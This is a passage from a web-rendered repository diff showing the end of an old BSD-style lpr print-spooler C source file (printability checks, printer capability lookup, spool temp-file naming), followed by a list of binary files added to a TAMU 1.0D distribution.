||||
} while (dfname[i-2]-- != 'd');
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* Test to see if this is a printable file.
|
||||
* Return -1 if it is not, 0 if its printable, and 1 if
|
||||
* we should remove it after printing.
|
||||
*/
|
||||
test(file)
|
||||
char *file;
|
||||
{
|
||||
struct exec execb;
|
||||
register int fd;
|
||||
register char *cp;
|
||||
|
||||
if (access(file, 4) < 0) {
|
||||
printf("%s: cannot access %s\n", name, file);
|
||||
return(-1);
|
||||
}
|
||||
if (stat(file, &statb) < 0) {
|
||||
printf("%s: cannot stat %s\n", name, file);
|
||||
return(-1);
|
||||
}
|
||||
if ((statb.st_mode & S_IFMT) == S_IFDIR) {
|
||||
printf("%s: %s is a directory\n", name, file);
|
||||
return(-1);
|
||||
}
|
||||
if (statb.st_size == 0) {
|
||||
printf("%s: %s is an empty file\n", name, file);
|
||||
return(-1);
|
||||
}
|
||||
if ((fd = open(file, O_RDONLY)) < 0) {
|
||||
printf("%s: cannot open %s\n", name, file);
|
||||
return(-1);
|
||||
}
|
||||
#ifndef LINUX
|
||||
if (read(fd, &execb, sizeof(execb)) == sizeof(execb))
|
||||
switch(execb.a_magic) {
|
||||
case A_MAGIC1:
|
||||
case A_MAGIC2:
|
||||
case A_MAGIC3:
|
||||
#ifdef A_MAGIC4
|
||||
case A_MAGIC4:
|
||||
#endif
|
||||
printf("%s: %s is an executable program", name, file);
|
||||
goto error1;
|
||||
|
||||
case ARMAG:
|
||||
printf("%s: %s is an archive file", name, file);
|
||||
goto error1;
|
||||
}
|
||||
#endif
|
||||
(void) close(fd);
|
||||
if (rflag) {
|
||||
if ((cp = rindex(file, '/')) == NULL) {
|
||||
if (access(".", 2) == 0)
|
||||
return(1);
|
||||
} else {
|
||||
*cp = '\0';
|
||||
fd = access(file, 2);
|
||||
*cp = '/';
|
||||
if (fd == 0)
|
||||
return(1);
|
||||
}
|
||||
printf("%s: %s: is not removable by you\n", name, file);
|
||||
}
|
||||
return(0);
|
||||
|
||||
error1:
|
||||
printf(" and is unprintable\n");
|
||||
(void) close(fd);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
/*
|
||||
* itoa - integer to string conversion
|
||||
*/
|
||||
char *
|
||||
itoa(i)
|
||||
register int i;
|
||||
{
|
||||
static char b[10] = "########";
|
||||
register char *p;
|
||||
|
||||
p = &b[8];
|
||||
do
|
||||
*p-- = i%10 + '0';
|
||||
while (i /= 10);
|
||||
return(++p);
|
||||
}
|
||||
|
||||
/*
|
||||
* Perform lookup for printer name or abbreviation --
|
||||
*/
|
||||
chkprinter(s)
|
||||
char *s;
|
||||
{
|
||||
int status;
|
||||
char buf[BUFSIZ];
|
||||
static char pbuf[BUFSIZ/2];
|
||||
char *bp = pbuf;
|
||||
extern char *pgetstr();
|
||||
|
||||
if ((status = pgetent(buf, s)) < 0)
|
||||
fatal("cannot open printer description file");
|
||||
else if (status == 0)
|
||||
fatal("%s: unknown printer", s);
|
||||
if ((SD = pgetstr("sd", &bp)) == NULL)
|
||||
SD = _PATH_DEFSPOOL;
|
||||
if ((LO = pgetstr("lo", &bp)) == NULL)
|
||||
LO = DEFLOCK;
|
||||
RG = pgetstr("rg", &bp);
|
||||
if ((MX = pgetnum("mx")) < 0)
|
||||
MX = DEFMX;
|
||||
if ((MC = pgetnum("mc")) < 0)
|
||||
MC = DEFMAXCOPIES;
|
||||
if ((DU = pgetnum("du")) < 0)
|
||||
DU = DEFUID;
|
||||
SC = pgetflag("sc");
|
||||
}
|
||||
|
||||
/*
|
||||
* Make the temp files.
|
||||
*/
|
||||
mktemps()
|
||||
{
|
||||
register int c, len, fd, n;
|
||||
register char *cp;
|
||||
char buf[BUFSIZ];
|
||||
char *lmktemp();
|
||||
|
||||
(void) sprintf(buf, "%s/.seq", SD);
|
||||
if ((fd = open(buf, O_RDWR|O_CREAT, 0661)) < 0) {
|
||||
printf("%s: cannot create %s\n", name, buf);
|
||||
exit(1);
|
||||
}
|
||||
if (flock(fd, LOCK_EX)) {
|
||||
printf("%s: cannot lock %s\n", name, buf);
|
||||
exit(1);
|
||||
}
|
||||
n = 0;
|
||||
if ((len = read(fd, buf, sizeof(buf))) > 0) {
|
||||
for (cp = buf; len--; ) {
|
||||
if (*cp < '0' || *cp > '9')
|
||||
break;
|
||||
n = n * 10 + (*cp++ - '0');
|
||||
}
|
||||
}
|
||||
len = strlen(SD) + strlen(host) + 8;
|
||||
tfname = lmktemp("tf", n, len);
|
||||
cfname = lmktemp("cf", n, len);
|
||||
dfname = lmktemp("df", n, len);
|
||||
inchar = strlen(SD) + 3;
|
||||
n = (n + 1) % 1000;
|
||||
(void) lseek(fd, 0L, 0);
|
||||
sprintf(buf, "%03d\n", n);
|
||||
(void) write(fd, buf, strlen(buf));
|
||||
(void) close(fd); /* unlocks as well */
|
||||
}
|
||||
|
||||
/*
|
||||
* Make a temp file name.
|
||||
*/
|
||||
char *
|
||||
lmktemp(id, num, len)
|
||||
char *id;
|
||||
int num, len;
|
||||
{
|
||||
register char *s;
|
||||
extern char *malloc();
|
||||
|
||||
if ((s = malloc(len)) == NULL)
|
||||
fatal("out of memory");
|
||||
(void) sprintf(s, "%s/%sA%03d%s", SD, id, num, host);
|
||||
return(s);
|
||||
}
|
||||
|
||||
/*VARARGS1*/
|
||||
fatal(msg, a1, a2, a3)
|
||||
char *msg;
|
||||
{
|
||||
printf("%s: ", name);
|
||||
printf(msg, a1, a2, a3);
|
||||
putchar('\n');
|
||||
exit(1);
|
||||
}
|
||||
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.01
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.01
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.02
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.02
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.03
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.03
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.04
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.04
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.05
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.05
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.06
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.06
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.07
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.07
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.08
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.08
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.09
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.09
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.10
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.10
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.11
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.11
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.12
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.12
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.13
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.13
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.14
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.14
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.15
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.15
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.16
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.16
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.17
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.17
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.18
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.18
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.19
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.19
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.20
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.20
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.21
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.21
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.22
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.22
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.23
Normal file
BIN
distributions/TAMU/TAMU-1.0D/src/3inch/src.23
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user